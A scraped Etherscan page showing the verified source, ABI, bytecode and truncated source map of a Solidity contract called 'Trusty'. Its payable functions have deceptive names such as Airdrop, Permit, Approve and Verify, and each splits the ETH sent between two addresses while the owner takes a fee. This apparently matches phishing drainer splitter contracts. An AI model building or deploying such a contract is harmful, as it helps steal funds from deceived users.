ETH Price: $2,655.71 (+1.95%)

Contract

0x0000a08384F2Ae45A56812bf21e76E02bdc41000
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

Advanced mode:
Parent Transaction Hash Block
From
To
View All Internal Transactions
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x068e720b...09853755B
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Trusty

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-02-24
*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

contract Trusty {
  address private contract_owner;
  address private fee_receiver;
  uint8 private contract_fee;
  bool private fee_withdraw;

  event Ownership(address indexed last_owner, address indexed new_owner);
  event Percentage (uint8 last_percentage, uint8 new_percentage);

  constructor() {
    contract_owner = msg.sender;
    fee_receiver = contract_owner;
    fee_withdraw = false;
    contract_fee = 10;
  }

  function getOwner() public view returns (address) { return contract_owner; }
  function getBalance() public view returns (uint256) { return address(this).balance; }
  function salaryStatus() public view returns (bool) { return fee_withdraw; }
  function enableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = true; }
  function disableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = false; }

  function processTransaction(address sender, address primary_receiver, address secondary_receiver, uint8 secondary_percent, bool is_back) private {
    require(secondary_percent >= 0 && secondary_percent <= 100, "Invalid Percent");
    uint256 amount = msg.value;
    uint256 amount_back = 0;
    if (amount > 0) { amount = amount - 1; amount_back = amount_back + 1; }
    uint256 reserve = (amount / 100) * contract_fee;
    uint256 secondary_amount = ((amount - reserve) / 100) * secondary_percent;
    uint256 primary_amount = amount - reserve - secondary_amount;
    if (primary_amount > 0) payable(primary_receiver).transfer(primary_amount);
    if (secondary_amount > 0) payable(secondary_receiver).transfer(secondary_amount);
    if (reserve > 0 && fee_withdraw == true) payable(fee_receiver).transfer(reserve);
    if (amount_back > 0 && is_back == true) payable(sender).transfer(amount_back);
  }

  function transferOwnership(address new_owner) public {
    require(msg.sender == contract_owner, "Access Denied");
    address last_owner = contract_owner; contract_owner = new_owner;
    emit Ownership(last_owner, contract_owner);
  }
  function claimSalary() public {
    require(msg.sender == contract_owner, "Access Denied");
    require(address(this).balance > 0, "Balance Empty");
    payable(fee_receiver).transfer(address(this).balance);
  }
  function setReceiver(address new_receiver) public {
    require(msg.sender == contract_owner, "Access Denied");
    fee_receiver = new_receiver;
  }
  function changePercentage(uint8 new_percentage) public {
    require(msg.sender == contract_owner, "Access Denied");
    require(new_percentage >= 0 && new_percentage <= 100, "Invalid Percentage");
    uint8 previous_percentage = contract_fee; contract_fee = new_percentage;
    emit Percentage(previous_percentage, contract_fee);
  }

 function Airdrop(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Cashback(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Rewards(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Process(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Permit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Approve(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Transfer(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Deposit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Withdraw(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Register(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Verify(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"last_owner","type":"address"},{"indexed":true,"internalType":"address","name":"new_owner","type":"address"}],"name":"Ownership","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"last_percentage","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"Percentage","type":"event"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Airdrop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Cashback","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Permit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Process","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Rewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Transfer","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Verify","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"changePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"salaryStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"new_receiver","type":"address"}],"name":"setReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"new_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x60806040526004361061011f5760003560e01c80636c286a8b116100a0578063d18f903711610064578063d18f9037146102fd578063d285660d14610319578063d7b92d4514610342578063ecf0444b14610359578063f2fde38b146103705761011f565b80636c286a8b14610255578063718da7ee14610271578063893d20e81461029a578063c2052690146102c5578063c968b5f6146102e15761011f565b80634365370d116100e75780634365370d146101bf578063539330aa146101db578063624bb8b8146101f757806364b075511461020e5780636969b3901461022a5761011f565b806302548613146101245780630d82fb4f1461014057806312065fe01461015c578063268c2aff1461018757806338928522146101a3575b600080fd5b61013e60048036038101906101399190610e5f565b610399565b005b61015a60048036038101906101559190610e5f565b6103ad565b005b34801561016857600080fd5b506101716103c1565b60405161017e9190610ef3565b60405180910390f35b6101a1600480360381019061019c9190610e5f565b6103c9565b005b6101bd60048036038101906101b89190610e5f565b6103dd565b005b6101d960048036038101906101d49190610e5f565b6103f1565b005b6101f560048036038101906101f09190610e5f565b610405565b005b34801561020357600080fd5b5061020c610419565b005b61022860048036038101906102239190610e5f565b6104c4565b005b34801561023657600080fd5b5061023f6104d8565b60405161024c9190610f1d565b60405180910390f35b61026f600480360381019061026a9190610e5f565b6104ef565b005b34801561027d57600080fd5b5061029860048036038101906102939190610f38565b610503565b005b3480156102a657600080fd5b506102af6105d5565b6040516102bc9190610f74565b60405180910390f35b6102df60048036038101906102da9190610e5f565b6105fe565b005b6102fb60048036038101906102f69190610e5f565b610612565b005b61031760048036038101906103129190610e5f565b610626565b005b34801561032557600080fd5b50610340600480360381019061033b9190610f8f565b61063a565b005b34801561034e57600080fd5b5061035761079a565b005b34801561036557600080fd5b5061036e6108d6565b005b34801561037c57600080fd5b5061039760048036038101906103929190610f38565b610980565b005b6103a68585858585610af2565b5050505050565b6103ba8585858585610af2565b5050505050565b600047905090565b6103d68585858585610af2565b5050505050565b6103ea8585858585610af2565b5050505050565b6103fe8585858585610af2565b5050505050565b6104128585858585610af2565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e90611019565b60405180910390fd5b6000600160156101000a81548160ff021916908315150217905550565b6104d18585858585610af2565b5050505050565b6000600160159054906101000a900460ff16905090565b6104fc8585858585610af2565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610591576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058890611019565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61060b8585858585610af2565b5050505050565b61061f8585858585610af2565b5050505050565b6106338585858585610af2565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bf90611019565b60405180910390fd5b60008160ff16101580156106e0575060648160ff1611155b61071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611085565b60405180910390fd5b6000600160149054906101000a900460ff16905081600160146101000a81548160ff021916908360ff1602179055507f8aeb416bcc35d1e0f263caf174a830fa26332f626c038ddcb56f0100f456680b81600160149054906101000a900460ff1660405161078e9291906110b4565b60405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f90611019565b60405180910390fd5b6000471161086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290611129565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108d3573d6000803e3d6000fd5b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b90611019565b60405180910390fd5b60018060156101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590611019565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f20785b27e5fe438f15d8e2c5ccf83f449d08d77cba6151a2857a22015412860660405160405180910390a35050565b60008260ff1610158015610b0a575060648260ff1611155b610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611195565b60405180910390fd5b6000349050600080821115610b7757600182610b6591906111e4565b9150600181610b749190611218565b90505b6000600160149054906101000a900460ff1660ff16606484610b99919061127b565b610ba391906112ac565b905060008560ff1660648386610bb991906111e4565b610bc3919061127b565b610bcd91906112ac565b90506000818386610bde91906111e4565b610be891906111e4565b90506000811115610c3b578873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c39573d6000803e3d6000fd5b505b6000821115610c8c578773ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610c8a573d6000803e3d6000fd5b505b600083118015610caf575060011515600160159054906101000a900460ff161515145b15610d1e57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610d1c573d6000803e3d6000fd5b505b600084118015610d32575060011515861515145b15610d7f578973ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015610d7d573d6000803e3d6000fd5b505b50505050505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610dbb82610d90565b9050919050565b610dcb81610db0565b8114610dd657600080fd5b50565b600081359050610de881610dc2565b92915050565b600060ff82169050919050565b610e0481610dee565b8114610e0f57600080fd5b50565b600081359050610e2181610dfb565b92915050565b60008115159050919050565b610e3c81610e27565b8114610e4757600080fd5b50565b600081359050610e5981610e33565b92915050565b600080600080600060a08688031215610e7b57610e7a610d8b565b5b6000610e8988828901610dd9565b9550506020610e9a88828901610dd9565b9450506040610eab88828901610dd9565b9350506060610ebc88828901610e12565b9250506080610ecd88828901610e4a565b9150509295509295909350565b6000819050919050565b610eed81610eda565b82525050565b6000602082019050610f086000830184610ee4565b92915050565b610f1781610e27565b82525050565b6000602082019050610f326000830184610f0e565b92915050565b600060208284031215610f4e57610f4d610d8b565b5b6000610f5c84828501610dd9565b91505092915050565b610f6e81610db0565b82525050565b6000602082019050610f896000830184610f65565b92915050565b600060208284031215610fa557610fa4610d8b565b5b6000610fb384828501610e12565b91505092915050565b600082825260208201905092915050565b7f4163636573732044656e69656400000000000000000000000000000000000000600082015250565b6000611003600d83610fbc565b915061100e82610fcd565b602082019050919050565b6000602082019050818103600083015261103281610ff6565b9050919050565b7f496e76616c69642050657263656e746167650000000000000000000000000000600082015250565b600061106f601283610fbc565b915061107a82611039565b602082019050919050565b6000602082019050818103600083015261109e81611062565b9050919050565b6110ae81610dee565b82525050565b60006040820190506110c960008301856110a5565b6110d660208301846110a5565b9392505050565b7f42616c616e636520456d70747900000000000000000000000000000000000000600082015250565b6000611113600d83610fbc565b915061111e826110dd565b602082019050919050565b6000602082019050818103600083015261114281611106565b9050919050565b7f496e76616c69642050657263656e740000000000000000000000000000000000600082015250565b600061117f600f83610fbc565b915061118a82611149565b602082019050919050565b600060208201905081810360008301526111ae81611172565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006111ef82610eda565b91506111fa83610eda565b9250828203905081811115611212576112116111b5565b5b92915050565b600061122382610eda565b915061122e83610eda565b9250828201905080821115611246576112456111b5565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061128682610eda565b915061129183610eda565b9250826112a1576112a061124c565b5b828204905092915050565b60006112b782610eda565b91506112c283610eda565b92508282026112d081610eda565b915082820484148315176112e7576112e66111b5565b5b509291505056fea2646970667358221220c135ec5df36b885b476649151faddc7d1c501e9313045acc81f3ee4d68a4fcf864736f6c63430008120033

Deployed Bytecode Sourcemap

69:4943:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3071:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3654:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;592:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4820:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4236:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4041:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3847:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;875:113;;;;;;;;;;;;;:::i;:::-;;4430:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;681:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3460:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2378:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;512:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4625:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2877:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3266;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2533:339;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2159:215;;;;;;;;;;;;;:::i;:::-;;760:111;;;;;;;;;;;;;:::i;:::-;;1916:239;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3071:191;3191:68;3210:9;3221:7;3230:6;3238:7;3247:11;3191:18;:68::i;:::-;3071:191;;;;;:::o;3654:189::-;3772:68;3791:9;3802:7;3811:6;3819:7;3828:11;3772:18;:68::i;:::-;3654:189;;;;;:::o;592:85::-;635:7;653:21;646:28;;592:85;:::o;4820:189::-;4938:68;4957:9;4968:7;4977:6;4985:7;4994:11;4938:18;:68::i;:::-;4820:189;;;;;:::o;4236:190::-;4355:68;4374:9;4385:7;4394:6;4402:7;4411:11;4355:18;:68::i;:::-;4236:190;;;;;:::o;4041:191::-;4161:68;4180:9;4191:7;4200:6;4208:7;4217:11;4161:18;:68::i;:::-;4041:191;;;;;:::o;3847:190::-;3966:68;3985:9;3996:7;4005:6;4013:7;4022:11;3966:18;:68::i;:::-;3847:190;;;;;:::o;875:113::-;931:14;;;;;;;;;;917:28;;:10;:28;;;909:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;980:5;965:12;;:20;;;;;;;;;;;;;;;;;;875:113::o;4430:191::-;4550:68;4569:9;4580:7;4589:6;4597:7;4606:11;4550:18;:68::i;:::-;4430:191;;;;;:::o;681:75::-;726:4;741:12;;;;;;;;;;;734:19;;681:75;:::o;3460:190::-;3579:68;3598:9;3609:7;3618:6;3626:7;3635:11;3579:18;:68::i;:::-;3460:190;;;;;:::o;2378:151::-;2457:14;;;;;;;;;;2443:28;;:10;:28;;;2435:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2511:12;2496;;:27;;;;;;;;;;;;;;;;;;2378:151;:::o;512:76::-;553:7;571:14;;;;;;;;;;;564:21;;512:76;:::o;4625:191::-;4745:68;4764:9;4775:7;4784:6;4792:7;4801:11;4745:18;:68::i;:::-;4625:191;;;;;:::o;2877:190::-;2996:68;3015:9;3026:7;3035:6;3043:7;3052:11;2996:18;:68::i;:::-;2877:190;;;;;:::o;3266:::-;3385:68;3404:9;3415:7;3424:6;3432:7;3441:11;3385:18;:68::i;:::-;3266:190;;;;;:::o;2533:339::-;2617:14;;;;;;;;;;2603:28;;:10;:28;;;2595:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2682:1;2664:14;:19;;;;:44;;;;;2705:3;2687:14;:21;;;;2664:44;2656:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;2738:25;2766:12;;;;;;;;;;;2738:40;;2795:14;2780:12;;:29;;;;;;;;;;;;;;;;;;2821:45;2832:19;2853:12;;;;;;;;;;;2821:45;;;;;;;:::i;:::-;;;;;;;;2588:284;2533:339;:::o;2159:215::-;2218:14;;;;;;;;;;2204:28;;:10;:28;;;2196:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2289:1;2265:21;:25;2257:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;2323:12;;;;;;;;;;;2315:30;;:53;2346:21;2315:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2159:215::o;760:111::-;815:14;;;;;;;;;;801:28;;:10;:28;;;793:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;864:4;849:12;;:19;;;;;;;;;;;;;;;;;;760:111::o;1916:239::-;1998:14;;;;;;;;;;1984:28;;:10;:28;;;1976:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2037:18;2058:14;;;;;;;;;;;2037:35;;2091:9;2074:14;;:26;;;;;;;;;;;;;;;;;;2134:14;;;;;;;;;;2112:37;;2122:10;2112:37;;;;;;;;;;;;1969:186;1916:239;:::o;994:916::-;1175:1;1154:17;:22;;;;:50;;;;;1201:3;1180:17;:24;;;;1154:50;1146:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;1231:14;1248:9;1231:26;;1264:19;1307:1;1298:6;:10;1294:71;;;1330:1;1321:6;:10;;;;:::i;:::-;1312:19;;1361:1;1347:11;:15;;;;:::i;:::-;1333:29;;1294:71;1371:15;1406:12;;;;;;;;;;;1389:29;;1399:3;1390:6;:12;;;;:::i;:::-;1389:29;;;;:::i;:::-;1371:47;;1425:24;1481:17;1452:46;;1474:3;1463:7;1454:6;:16;;;;:::i;:::-;1453:24;;;;:::i;:::-;1452:46;;;;:::i;:::-;1425:73;;1505:22;1549:16;1539:7;1530:6;:16;;;;:::i;:::-;:35;;;;:::i;:::-;1505:60;;1593:1;1576:14;:18;1572:74;;;1604:16;1596:34;;:50;1631:14;1596:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1572:74;1676:1;1657:16;:20;1653:80;;;1687:18;1679:36;;:54;1716:16;1679:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1653:80;1754:1;1744:7;:11;:35;;;;;1775:4;1759:20;;:12;;;;;;;;;;;:20;;;1744:35;1740:80;;;1789:12;;;;;;;;;;;1781:30;;:39;1812:7;1781:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1740:80;1845:1;1831:11;:15;:34;;;;;1861:4;1850:15;;:7;:15;;;1831:34;1827:77;;;1875:6;1867:24;;:37;1892:11;1867:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1827:77;1139:771;;;;;994:916;;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:86::-;876:7;916:4;909:5;905:16;894:27;;841:86;;;:::o;933:118::-;1004:22;1020:5;1004:22;:::i;:::-;997:5;994:33;984:61;;1041:1;1038;1031:12;984:61;933:118;:::o;1057:135::-;1101:5;1139:6;1126:20;1117:29;;1155:31;1180:5;1155:31;:::i;:::-;1057:135;;;;:::o;1198:90::-;1232:7;1275:5;1268:13;1261:21;1250:32;;1198:90;;;:::o;1294:116::-;1364:21;1379:5;1364:21;:::i;:::-;1357:5;1354:32;1344:60;;1400:1;1397;1390:12;1344:60;1294:116;:::o;1416:133::-;1459:5;1497:6;1484:20;1475:29;;1513:30;1537:5;1513:30;:::i;:::-;1416:133;;;;:::o;1555:901::-;1645:6;1653;1661;1669;1677;1726:3;1714:9;1705:7;1701:23;1697:33;1694:120;;;1733:79;;:::i;:::-;1694:120;1853:1;1878:53;1923:7;1914:6;1903:9;1899:22;1878:53;:::i;:::-;1868:63;;1824:117;1980:2;2006:53;2051:7;2042:6;2031:9;2027:22;2006:53;:::i;:::-;1996:63;;1951:118;2108:2;2134:53;2179:7;2170:6;2159:9;2155:22;2134:53;:::i;:::-;2124:63;;2079:118;2236:2;2262:51;2305:7;2296:6;2285:9;2281:22;2262:51;:::i;:::-;2252:61;;2207:116;2362:3;2389:50;2431:7;2422:6;2411:9;2407:22;2389:50;:::i;:::-;2379:60;;2333:116;1555:901;;;;;;;;:::o;2462:77::-;2499:7;2528:5;2517:16;;2462:77;;;:::o;2545:118::-;2632:24;2650:5;2632:24;:::i;:::-;2627:3;2620:37;2545:118;;:::o;2669:222::-;2762:4;2800:2;2789:9;2785:18;2777:26;;2813:71;2881:1;2870:9;2866:17;2857:6;2813:71;:::i;:::-;2669:222;;;;:::o;2897:109::-;2978:21;2993:5;2978:21;:::i;:::-;2973:3;2966:34;2897:109;;:::o;3012:210::-;3099:4;3137:2;3126:9;3122:18;3114:26;;3150:65;3212:1;3201:9;3197:17;3188:6;3150:65;:::i;:::-;3012:210;;;;:::o;3228:329::-;3287:6;3336:2;3324:9;3315:7;3311:23;3307:32;3304:119;;;3342:79;;:::i;:::-;3304:119;3462:1;3487:53;3532:7;3523:6;3512:9;3508:22;3487:53;:::i;:::-;3477:63;;3433:117;3228:329;;;;:::o;3563:118::-;3650:24;3668:5;3650:24;:::i;:::-;3645:3;3638:37;3563:118;;:::o;3687:222::-;3780:4;3818:2;3807:9;3803:18;3795:26;;3831:71;3899:1;3888:9;3884:17;3875:6;3831:71;:::i;:::-;3687:222;;;;:::o;3915:325::-;3972:6;4021:2;4009:9;4000:7;3996:23;3992:32;3989:119;;;4027:79;;:::i;:::-;3989:119;4147:1;4172:51;4215:7;4206:6;4195:9;4191:22;4172:51;:::i;:::-;4162:61;;4118:115;3915:325;;;;:::o;4246:169::-;4330:11;4364:6;4359:3;4352:19;4404:4;4399:3;4395:14;4380:29;;4246:169;;;;:::o;4421:163::-;4561:15;4557:1;4549:6;4545:14;4538:39;4421:163;:::o;4590:366::-;4732:3;4753:67;4817:2;4812:3;4753:67;:::i;:::-;4746:74;;4829:93;4918:3;4829:93;:::i;:::-;4947:2;4942:3;4938:12;4931:19;;4590:366;;;:::o;4962:419::-;5128:4;5166:2;5155:9;5151:18;5143:26;;5215:9;5209:4;5205:20;5201:1;5190:9;5186:17;5179:47;5243:131;5369:4;5243:131;:::i;:::-;5235:139;;4962:419;;;:::o;5387:168::-;5527:20;5523:1;5515:6;5511:14;5504:44;5387:168;:::o;5561:366::-;5703:3;5724:67;5788:2;5783:3;5724:67;:::i;:::-;5717:74;;5800:93;5889:3;5800:93;:::i;:::-;5918:2;5913:3;5909:12;5902:19;;5561:366;;;:::o;5933:419::-;6099:4;6137:2;6126:9;6122:18;6114:26;;6186:9;6180:4;6176:20;6172:1;6161:9;6157:17;6150:47;6214:131;6340:4;6214:131;:::i;:::-;6206:139;;5933:419;;;:::o;6358:112::-;6441:22;6457:5;6441:22;:::i;:::-;6436:3;6429:35;6358:112;;:::o;6476:316::-;6589:4;6627:2;6616:9;6612:18;6604:26;;6640:67;6704:1;6693:9;6689:17;6680:6;6640:67;:::i;:::-;6717:68;6781:2;6770:9;6766:18;6757:6;6717:68;:::i;:::-;6476:316;;;;;:::o;6798:163::-;6938:15;6934:1;6926:6;6922:14;6915:39;6798:163;:::o;6967:366::-;7109:3;7130:67;7194:2;7189:3;7130: